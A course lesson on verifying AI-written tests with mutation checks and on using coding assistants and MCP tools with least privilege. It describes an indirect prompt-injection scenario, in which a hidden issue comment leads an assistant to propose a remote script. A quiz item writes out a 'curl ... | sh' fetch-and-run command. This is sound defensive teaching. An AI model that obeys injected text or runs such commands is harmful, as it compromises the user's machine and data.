Using AI tools in QA work safely (coding assistants, MCP)

Study time
≈ 3 h (estimate)
Needs
L1-M07-L04
Updated
2026-11-06

Progress is saved in this browser only. No account, nothing is sent to a server.

Draft · reviewed by AI, not yet by a person. Content may change. English translation: AI-assisted, not human-reviewed.
On this page

Module: L1-M07 · Duration: ~165 min (estimate, including the independent exercise) · Previous: L04 · Next: Module exercises, then L1-M08 (capstone)

Transparency note. This course was written with the help of an AI assistant, and every lesson has been verified by running the code and reading the sources. This lesson teaches exactly that process.

1. Introduction

AI coding assistants write test cases, test code and test data, and read logs, faster than people. For a tester, the question is not "should I use them" but "how do I know that what it wrote is correct", and "what is it allowed to do on my machine".

This lesson teaches two skills. First: verifying AI-written tests, not by reading them and nodding, but by breaking the code and seeing whether the tests notice (a mutation check). Second: using coding assistants and tools connected through MCP with least privilege, keeping secrets out of prompts, and recognising prompt injection that comes from the repository itself.

2. Learning objectives

  1. Explain overreliance and why AI-written tests must be verified like any other model output.
  2. Review an AI-written test file with a checklist.
  3. Run a mutation check and read the KILLED/SURVIVED results.
  4. Rewrite a test suite until it catches every mutant.
  5. Apply least privilege to coding assistants and MCP tools, and recognise indirect prompt injection in a repository.

3. Prerequisites and tools

  • L01-L04; L1-M04-L01 (testing the oracle itself); L1-M04-L04 (prompt injection); L1-M05-L04 (Excessive Agency).

4. Concepts

4.1 AI output is model output too

OWASP defines overreliance: "Overreliance occurs when users place excessive trust in LLM-generated content, failing to verify its accuracy", and advises "Implement human oversight and fact-checking processes, especially for critical or sensitive information" [R1]. The GitHub Copilot documentation also says: "you should carefully review and test the generated code, particularly when dealing with critical or sensitive applications" [R2].

For tests, the risk is especially high: a wrong test looks exactly like a correct one, and it is green. Nobody investigates a green test.

Everyday example. A map app routes a driver over a bridge that is under repair. The driver trusts it completely and drives straight up to the barrier. The map is usually right, and precisely because it is usually right, people stop watching the road. AI-written tests are the same: most of them look fine, so it is very easy to skip the verification.

4.2 A review checklist for AI-written tests

Question Bad sign
What does the test assert? assert x is not None, assert x == x, or no assert at all
Are there negative cases? Only the happy path
Are errors swallowed? try: ... except Exception: pass
Are the tests independent? Modifying os.environ at module level; dependence on order
Are there secrets in the code? An API key, even a "fake" one, written straight into the file
Does the test check the contract or the implementation? It checks internal variable names instead of behaviour
Where does the expectation come from? An expectation copied from the current output instead of from the requirement (L1-M06-L03)

Good vs bad. Two tests for the same rule, "live mode needs a key", from the AI draft and from the reviewed version:

AI draft (test_config_ai_draft.py) Reviewed version
try: load_settings({"AIQA_MODE": "live"}) then except Exception: pass with pytest.raises(ConfigError, match="needs ANTHROPIC_API_KEY"): load_settings({"AIQA_MODE": "live"})

Why: the left one passes whether or not the function raises, so it checks nothing. The right one fails as soon as the rule is removed, and accepts only the right kind of error with the right message.

4.3 Mutation check: breaking the code to test the tests

Reading tests gives you only an opinion. A mutation check gives you evidence. A mutant is a copy of the code with one deliberate defect. Run the test suite against each mutant:

  • KILLED: the tests fail. The suite catches that defect.
  • SURVIVED: the tests stay green. The suite does not catch that defect.

The lab has 5 mutants for aiqa.config, each matching a rule from L02: the secret is printed; live mode needs no API key; the mode is not normalised; a budget of 0 is accepted; the default is live. This is a small, manual approach, for learning the idea. Full mutation testing tools exist for Python, but the lab does not use them.

Everyday example. A building runs a fire drill by making real smoke on one floor and checking that the alarm rings. Reading the alarm's technical manual gives an opinion; making smoke gives evidence. Each mutant is one "puff of smoke" in one place.

Worked example: the mutation score grows test by test. Save as exercises/vd_l05_step.py:

from aiqa.config import load_settings


def test_defaults_are_mock():
    assert load_settings({}).mode == "mock"


def test_secret_is_not_printed():
    s = load_settings({"AIQA_MODE": "live", "ANTHROPIC_API_KEY": "sk-test-fake-123"})
    assert "sk-test-fake-123" not in repr(s)

Run python mutate.py exercises/vd_l05_step.py. Output (copied from a real run on Python 3.14.6 and 3.12.3, Linux, 2026-11-06; both versions gave identical output):

KILLED    secret-leaks-in-repr
SURVIVED  live-without-key
SURVIVED  mode-not-normalised
SURVIVED  zero-budget-allowed
KILLED    live-by-default
killed 2/5
  1. test_secret_is_not_printed kills secret-leaks-in-repr: the mutant prints the key in repr, so the assert fails.
  2. test_defaults_are_mock kills live-by-default: with that mutant, an empty configuration gives live mode.
  3. The other three rules have no test yet, so three mutants survive. The command ends with exit code 1.

Add this test at the end of the file and run again:

def test_mode_is_normalised():
    assert load_settings({"AIQA_MODE": " Mock "}).mode == "mock"

Output (same environment):

KILLED    secret-leaks-in-repr
SURVIVED  live-without-key
KILLED    mode-not-normalised
SURVIVED  zero-budget-allowed
KILLED    live-by-default
killed 3/5
  1. mode-not-normalised is now killed. Each surviving mutant points exactly at a rule without a test: that is the list of what to do next. The exercise in §9.1 goes on to killed 5/5. Delete the file when you are done.

4.4 A coding assistant on your machine

The Claude Code security documentation describes it: in manual mode, "Claude Code starts with read-only permissions. When it needs to edit files, run tests, or execute commands, it asks you first", and states clearly "You're responsible for reviewing proposed code and commands for safety before approval" [R3]. Practical rules:

  • Do not put secrets into prompts or into files the assistant reads. Use environment variables and a separate API key for tests (L1-M03-L01).
  • Read every command before approving it, especially delete, network and install commands.
  • Review the diff before committing, as you would review the code of a new colleague.
  • Run the tests, and run a mutation check for new tests.

Good vs bad. Two prompts for the same job:

Weak prompt Good prompt
"write pytest tests for aiqa.config" (the very prompt that produced test_config_ai_draft.py) "Write pytest tests for aiqa.config.load_settings. Every rule in the table below needs at least one test, with negative cases. Do not read or write real environment variables; pass env to the function. Use only fake keys. Do not use try/except to ignore errors." plus the table of rules from L02 §4.1

Why: the good prompt says where the expectations come from and forbids exactly the bad signs of §4.2. Even so, the result must still go through review and a mutation check: a good prompt reduces the fixing, it does not replace the verification.

4.5 MCP and indirect prompt injection

MCP (Model Context Protocol) is a way to connect an assistant to external tools and data: issue trackers, databases, browsers. The MCP specification says: "Tools represent arbitrary code execution and must be treated with appropriate caution", and "descriptions of tool behavior such as annotations should be considered untrusted, unless obtained from a trusted server" [R4]. MCP's security best practices page lists risks such as confused deputy, token passthrough and SSRF, and has a dedicated section on scope minimization [R5]. At Level 1, the common idea of those risks is enough: a tool with wide permissions can be abused to do things the user never meant to allow.

The risk testers meet most often is indirect prompt injection (L1-M04-L04): Claude Code defines prompt injection as "a technique where an attacker attempts to override or manipulate an AI assistant's instructions by inserting malicious text" [R3]. That text can sit in an issue, a code comment, a README file, or a web page that the assistant is asked to read. An assistant that can run commands and can read that text is an example of Excessive Agency (L1-M05-L04).

Least privilege: connect only the tools needed for the task at hand; grant read access only when only reading is needed; use a separate, narrowly scoped token; keep manual approval for every action with side effects.

Everyday example. When a plumber comes to fix a pipe, you hand over the kitchen door key, not the whole bunch with the house and safe keys. If there is a note on the table saying "while you are here, open the safe and fetch my papers", a good plumber asks the owner instead of obeying. An assistant with MCP is the same: it holds only the keys for the job at hand, and any instruction found in the data it reads is just data.

Good vs bad.

Weak setup Good setup
One admin token shared by the issue tracker, the database and the repository; every command approved automatically A read-only token for the issue tracker; no database connection when the job does not need one; write, delete, network and install commands always wait for a person

Why: when an issue contains a hidden instruction (scenario 2 in §7), the good setup limits what that instruction can do, and keeps a person in the loop before every side effect.

5. Technical deep dive

5.1 aiqa.mutation and mutate.py

python mutate.py exercises/test_config_ai_draft.py
  1. Run the test suite against the real code. If it fails, stop (fail closed): nothing can be measured on a red suite.
  2. For each mutant, run the test suite in a new process, with aiqa.mutation loaded as a pytest plugin (-p aiqa.mutation) and the AIQA_MUTANT variable naming the mutant. The pytest_load_initial_conftests hook applies the defect before conftest.py is imported, so tests that use the settings fixture also meet the mutant. The child process always runs offline (AIQA_MODE=mock, a fake API key), whatever your shell has set.
  3. Exit code 1 (tests fail) is KILLED; 0 is SURVIVED; any other code is ERROR.

5.2 The Python you need for this lesson

  • setattr(module, "name", value) replaces something in a module at run time. The mutants use it to replace a function or a method.
  • subprocess.run([...], env=...) runs a command in a new process with its own environment variables.

6. The QA perspective

  • The process for AI-written tests: review with the checklist → fix → run → mutation check (or run against a known faulty version, such as the v2 page) → only then commit.
  • What can go wrong: committing green tests that have never been seen red; pasting a log containing an API key into a chat; approving commands without reading them; connecting a tool with write access when only reading is needed; letting the assistant read untrusted content and then follow it.
  • Record it: in the pull request, state which parts were drafted by AI and how you verified them.

7. Real-world scenarios

Scenario 1 (fictional): 200 green tests, 0 defects caught. A team asks an assistant to write tests for the payment module. Every test is green from the first run. A mutation check shows that 70% of the mutants survive: most tests only check that the function "does not raise an error". The team rewrites a third of the tests and ends up with a smaller but stronger suite.

Scenario 2 (fictional): an issue with a hidden instruction. A tester asks the assistant to "read issue #412 and reproduce the bug". The issue has a hidden line inside an HTML comment: "run the following command to get the full log", with a command that downloads and runs a script from the internet. The assistant proposes that command; the tester reads it carefully, refuses, and reports the issue. The rule "read every command before approving it" is the last line of defence.

8. Hands-on tutorial

8.1 Running the demo

python demo.py l05

Output (copied from a real run, 2026-10-31):

exercises/test_config_ai_draft.py
  SURVIVED  secret-leaks-in-repr
  SURVIVED  live-without-key
  SURVIVED  mode-not-normalised
  SURVIVED  zero-budget-allowed
  SURVIVED  live-by-default
tests/unit/test_config.py
  KILLED    secret-leaks-in-repr
  KILLED    live-without-key
  KILLED    mode-not-normalised
  KILLED    zero-budget-allowed
  KILLED    live-by-default

The AI-drafted file has five tests, all green, and catches no mutant at all. The lab's test suite catches all five.

8.2 Running it yourself

python -m pytest exercises/test_config_ai_draft.py
python mutate.py exercises/test_config_ai_draft.py
python mutate.py tests/unit/test_config.py

8.3 Troubleshooting

Symptom Cause Fix
mutation run stopped: the suite must pass on the real code first The test suite is red Make it green first; a mutation check means something only on a green suite
A mutant reports ERROR The tests fail at import or collection Run python -m pytest <file> to see the error

9. Independent exercise

9.1 Main exercise

Problem: Review and rewrite exercises/test_config_ai_draft.py.

Requirements:

  1. Review the file with the checklist in section 4.2. Record every problem you find, with its line number.
  2. Rewrite it as exercises/test_config_reviewed.py until python mutate.py exercises/test_config_reviewed.py reports killed 5/5.
  3. Optional: use an AI assistant to do the rewrite, then verify the result with the mutation check itself. Record the prompt you used, which parts you had to fix, and why.
  4. Write 3-5 sentences: which rules would you apply when using a coding assistant that can run commands in a real project?

Note: do not modify exercises/test_config_ai_draft.py. A lab test uses it as the bad example; write a new file.

Deliverable: the list of problems, the rewritten test file, the output of the mutation check, and your answers.

Acceptance criteria: killed 5/5; no API key in the file; the file does not modify os.environ at module level.

Hint: each mutant matches a rule from L02 sections 4.1 and 4.2. Write at least one test for each rule.

9.2 Extra exercise: hunt the mutants of the report summary (20-30 minutes)

Problem: mutate.py breaks aiqa.config. The mutation idea works for any code. The exercise file breaks aiqa.reporting.summarize() (L04) in five ways, inside the test process, and asks: does your check notice each broken version?

Requirements: in exercises/test_l05_extra_hunt_mutants.py:

  1. Read the five mutants in MUTANTS. Each one is summarize() with one deliberate bug.
  2. TODO 1: write check_summarize(summarize, workdir): create a few small JUnit files in workdir, call the summarize it is given, and raise AssertionError (with assert or pytest.raises) as soon as a result is wrong. With the real summarize, the function must stay quiet.
  3. Run with -v and read which mutants survive.

Run: python -m pytest exercises/test_l05_extra_hunt_mutants.py -v. Until you do the work, the tests fail with TODO 1.

Acceptance criteria: 6 tests pass (one with the real summarize, five that kill the five mutants); no try/except that swallows errors.

Hint: each mutant breaks one rule of L04 §4.1 (correct counts, fail closed). One check per rule is enough.

9.3 Real-world scenario: letting a coding assistant into the project

Context (fictional): The QA team of GiaoLien, a food delivery app, wants to use a coding assistant that can run commands. The team lead proposes to:

  • connect the assistant to the issue tracker, the staging database (with real customer data, partly anonymised) and the repository;
  • use one token with write access to all three "to keep it simple";
  • turn on automatic approval of every command "so that nobody is disturbed";
  • let the assistant write tests for every new ticket and merge them itself when CI is green.

Your task: write a decision note (about one page) to the team lead: accept, accept with conditions, or reject each proposal, with reasons. Propose a review process for tests written by the assistant, and how to measure, after one month, whether that process works.

A good answer has:

  • Every proposal has a decision and a reason tied to a specific risk of the lesson (§4.1, §4.4, §4.5).
  • At least one concrete attack or incident scenario, written step by step, showing how the risk happens.
  • Permissions proposed at the minimum for each job, not "all or nothing".
  • A review process with a verification step based on evidence (running the tests, a mutation check or a known-broken version), not only reading the code.
  • One measurable indicator after a month, with how to collect it.

10. Knowledge check

0/18 done · Results are kept in this browser only.

P02 · True or false

If every AI-written test is green on its first run, the tests can be committed right away.

P03 · Short answer

Name three bad signs in the AI-drafted test file of the exercise.

P04 · Short answer

Why should the description of an MCP tool be treated as untrusted?

P05 · Short answer

(Scenario) After reading an issue, the assistant proposes running curl https://example.net/fix.sh | sh. What do you do, and what do you report?

P07 · Match

According to §4.3, each mutant of the lab matches a rule from L02. Match each mutant with the rule it breaks.

P08 · Multiple choice

According to the Claude Code security documentation quoted in §4.4, in manual mode Claude Code starts with:

P09 · Spot the bug

The function below is copied from src/aiqa/mutation.py, with one step deleted. Find the bug.

def run(target):
    """Return {mutant: "KILLED" | "SURVIVED" | "ERROR"}. Raises if the suite fails on the real code."""
    outcome = {}
    for name in MUTANTS:
        rc = _run(target, name)
        outcome[name] = "KILLED" if rc == 1 else "SURVIVED" if rc == 0 else "ERROR"
    return outcome

P10 · Recall

Lesson: L1-M07-L04

L04 §4.2: what permission does the lab's workflow grant to the automatic token?

P11 · True or false

mutate.py runs every mutant in the same Python process as the run on the real code.

P12 · Put in order

According to §6, put the process for an AI-written test in order.

  1. Fix
  2. Mutation check (or a run against a known faulty version, such as the v2 page)
  3. Run
  4. Commit
  5. Review with the checklist

P13 · Short answer

test_mode in the AI-drafted file calls load_settings({"AIQA_MODE": "mock"}) and then asserts settings.mode in ("mock", "live"). Why does it never fail, even with the live-by-default mutant?

P15 · Apply now

In code-labs/l1-m07, do the extra exercise of §9.2: write check_summarize(summarize, workdir) in exercises/test_l05_extra_hunt_mutants.py, then run python -m pytest exercises/test_l05_extra_hunt_mutants.py -v.

Checklist

P16 · Multiple choice

Worked example of §4.3: after adding test_mode_is_normalised, python mutate.py exercises/vd_l05_step.py prints killed 3/5. Which two mutants survive?

P17 · True or false

In the good-vs-bad table of §4.2, the test try: load_settings({"AIQA_MODE": "live"}) / except Exception: pass passes whether or not load_settings raises an error.

P18 · True or false

python mutate.py ends with exit code 1 when at least one mutant survives.

11. Summary

  • Concepts: overreliance; reviewing AI-written tests; mutants, KILLED, SURVIVED; least privilege for assistants and tools; MCP; indirect prompt injection in a repository.
  • Skills: reviewing with a checklist; running a mutation check; rewriting tests until they catch every mutant.
  • Pitfalls: trusting green tests that have never been red; secrets in prompts; approving commands without reading them; tools with unnecessary write access.
  • You can now: use AI assistants to do QA faster while still verifying everything they produce.

12. References

ID Title Publisher URL Accessed Relevance
R1 LLM09:2025 Misinformation (overreliance) OWASP GenAI Security Project https://genai.owasp.org/llmrisk/llm092025-misinformation/ 2026-10-31 Overreliance; human oversight
R2 Application card: GitHub Copilot inline suggestions GitHub https://docs.github.com/en/copilot/responsible-use/inline-suggestions 2026-10-31 Reviewing and testing generated code
R3 Security Anthropic (Claude Code Docs) https://code.claude.com/docs/en/security 2026-10-31 Read-only permissions at the start; responsibility for review; definition of prompt injection
R4 Model Context Protocol Specification (2026-07-28) Model Context Protocol https://modelcontextprotocol.io/specification/2026-07-28 2026-10-31 Tools are arbitrary code execution; tool descriptions are untrusted
R5 Security Best Practices (2026-07-28) Model Context Protocol https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices 2026-10-31 Confused deputy, token passthrough, scope minimization

Key terms (English ↔ Vietnamese)

English Tiếng Việt
Coding assistant Trợ lý lập trình AI
Overreliance Tin tưởng quá mức
Mutation testing / mutant Kiểm thử đột biến / bản code có lỗi cố ý
Killed / survived Bị bắt / sống sót
MCP (Model Context Protocol) Giao thức kết nối model với tool và dữ liệu
Least privilege Quyền tối thiểu